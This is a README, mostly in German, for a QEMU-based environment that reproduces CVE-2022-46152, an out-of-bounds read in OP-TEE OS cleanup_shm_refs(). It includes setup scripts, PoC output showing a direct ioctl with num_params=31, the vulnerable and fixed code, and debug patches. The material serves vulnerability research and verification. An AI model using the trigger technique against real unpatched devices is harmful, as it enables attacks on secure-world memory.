
CVE-2022-46152: Improper Validation of Array Index in the `cleanup_shm_refs' function.
OP-TEE OS cleanup_shm_refs() Out-of-Bounds Read — Reproduktionsumgebung
Referenz: https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
Sicherheitshinweis: https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7
| Feld | Details |
|---|---|
| Schwachstelle | cleanup_shm_refs() validiert num_params nicht (theoretisch bis zu 127; in der Praxis durch den Linux-TEE-ioctl TEE_MAX_ARG_SIZE=1024 auf 31 begrenzt), während saved_attr[] nur 4 Elemente hat |
| Betroffene Versionen | OP-TEE OS < 3.19.0 |
| Auslösebedingung | Normal World sendet eine INVOKE-Anfrage mit num_params=31 über direkten ioctl (unter Umgehung des 4-Parameter-Limits von libteec) |
| Auswirkung | Auslesen von Secure-World-Stackdaten außerhalb des zulässigen Bereichs; wenn ein Stack-Restwert einem TMEM-Typ entspricht, wird ein Use-After-Free ausgelöst |
| Behebung | cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (Commit 728616b) |
CVE-2022-46152/
├── README.md # This file (English)
├── README.zh.md # Chinese version
├── setup.sh # One-command environment setup
├── run_qemu.sh # Launch QEMU
├── exploit.sh # Automated/manual reproduction script
├── cve-2022-46152-oob-emsg.patch # OP-TEE OS debug patch (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # QEMU patch (suppress pflash_write noise logs)
├── poc/
│ ├── cve_2022_46152.c # PoC exploit source (direct ioctl bypassing libteec)
│ └── Makefile # Cross-compilation Makefile
├── docs/
│ └── vulnerability_analysis.md # Detailed technical vulnerability analysis
└── optee/ # OP-TEE environment (created by setup.sh)
├── optee_os/ # OP-TEE OS 3.18.0 (vulnerable version)
├── build/ # Build system (qemu_v8.mk)
├── linux/ # Linux kernel
├── buildroot/ # Buildroot rootfs
├── trusted-firmware-a/ # TF-A v2.6
├── qemu/ # QEMU v7.0.0 (source)
└── out/bin/ # Build artifacts
├── bl1.bin # TF-A BL1
├── Image # Linux kernel image
└── rootfs.cpio.gz # rootfs containing the PoC
# Ubuntu/Debian
sudo apt-get install -y \
repo git make python3 \
aarch64-linux-gnu-gcc \
device-tree-compiler \
libglib2.0-dev libpixman-1-dev \
netcat-openbsd expect
# Verify
aarch64-linux-gnu-gcc --version
repo --version
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..
Hinweis: Verwenden Sie den Tag
3.18.0. Diese Version enthält die Schwachstelle CVE-2022-46152 und wurde noch nicht mit dem Fix versehen.
./setup.sh
Dieses Skript wird:
repo sync ausführen, um den gesamten Quellcode zu holenoptee/toolchains/ bereits existiert, sonst automatischer Download)make all ausführen, um TF-A, OP-TEE OS 3.18.0, Linux und Buildroot zu bauen# Open three terminals:
# Terminal 1 — Start QEMU:
./run_qemu.sh --no-gdb
# Terminal 2 — Normal World console (run after run_qemu.sh has started):
python3 optee/build/soc_term.py 54320
# Terminal 3 — Secure World (OP-TEE logs, run after run_qemu.sh has started):
python3 optee/build/soc_term.py 54321
Hinweis:
run_qemu.shstartet internsoc_term.pyim Servermodus, der auf 54320/54321 lauscht, und QEMU verbindet sich als Client. Die obigen Befehle sind Beispiele, um eine laufende Instanz zu verbinden, und müssen normalerweise nicht manuell ausgeführt werden.
# In the Normal World terminal (54320), after the login prompt appears:
(none) login: root
# Run the PoC
/root/cve_2022_46152
=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0
[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3
[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.
[*] Done. Check secure world UART output for OOB/abort evidence.
Hinweis:
TEE_MAX_ARG_SIZE=1024begrenzt einen einzelnen ioctl auf maximal 31 Parameter (libteec begrenzt auf 4). Trotzdem reichtnum_params=31aus, um OOB auszulösen (liestsaved_attr[4..30], 27 Elemente außerhalb des gültigen Bereichs).
I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!
Die Warnzeile
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB!ist ein expliziter Logeintrag, der über den Patchcve-2022-46152-oob-emsg.patchinentry_std.chinzugefügt wurde, um den Auslösepfad der Schwachstelle zu bestätigen.cleanup_shm_refsliest 27 zusätzliche Elemente außerhalb des gültigen Bereichs vom Stack; falls ein Stack-Restwert einem TMEM-Typ entspricht, kann ein Use-After-Free durchmobj_put()ausgelöst werden.
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
uint32_t saved_attr[TEE_NUM_PARAMS]; /* only 4 slots! */
...
res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
if (res != TEE_SUCCESS) {
/* ❌ BUG: num_params can be 127, OOB read of saved_attr[4..126] */
cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
goto out;
}
...
}
if (res != TEE_SUCCESS) {
/* ✅ FIX: MIN(4, 127) = 4, no longer out of bounds */
cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
goto out;
}
# Set up the environment
./setup.sh
# Start QEMU (with GDB debug port)
./run_qemu.sh
# Start QEMU (without waiting for GDB)
./run_qemu.sh --no-gdb
# Show manual reproduction steps
./exploit.sh --manual
# Automated reproduction (no extra terminals needed, output to current shell)
./exploit.sh
# Connect to Normal World console (after run_qemu.sh has started)
python3 optee/build/soc_term.py 54320
# Connect to Secure World log (after run_qemu.sh has started)
python3 optee/build/soc_term.py 54321
# Debug OP-TEE OS with GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c
Dieses Repository wendet den Patch qemu-pflash-suppress-unimp-log.patch auf QEMU v7.0.0 an, um die folgende störende Ausgabe beim Ausführen der VM zu beseitigen:
pflash_write: Write to buffer emulation is flawed
pflash_write() in hw/block/pflash_cfi01.c ruft qemu_log_mask(LOG_UNIMP, ...) auf, wenn der CFI-pflash-Befehl 0xe8 (Write to Buffer) behandelt wird, und zeichnet eine Warnung "nicht implementiert" auf. TF-A-Firmware schreibt während des Bootvorgangs auf den pflash, löst diesen Pfad aus und gibt die Meldung bei jedem Start aus.
hw/block/pflash_cfi01.c)Entfernt den Aufruf von qemu_log_mask(LOG_UNIMP, ...) im Zweig case 0xe8, während die funktionale Logik intakt bleibt.
optee/qemu/ integriert)cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64
Dieses Repository wendet einen Debug-Patch cve-2022-46152-oob-emsg.patch auf OP-TEE OS 3.18.0 an, sodass eine explizite Warnung auf der Secure-World-UART ausgegeben wird, wenn die Schwachstelle ausgelöst wird, was die Reproduktionsüberprüfung einfach macht.
core/tee/entry_std.c)#include <trace.h> hinzuentry_invoke_command() wird num_params > TEE_NUM_PARAMS vor dem Aufruf von cleanup_shm_refs() erkannt und via EMSG() die Meldung CVE-2022-46152: OOB! cleanup_shm_refs num_params=N > TEE_NUM_PARAMS=4 ausgegeben⚠️ Dieser Patch ist nur zum Debuggen/Demonstrieren und kein Sicherheitsfix. Der eigentliche Fix befindet sich in Commit 728616b.
optee/optee_os/ integriert)cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os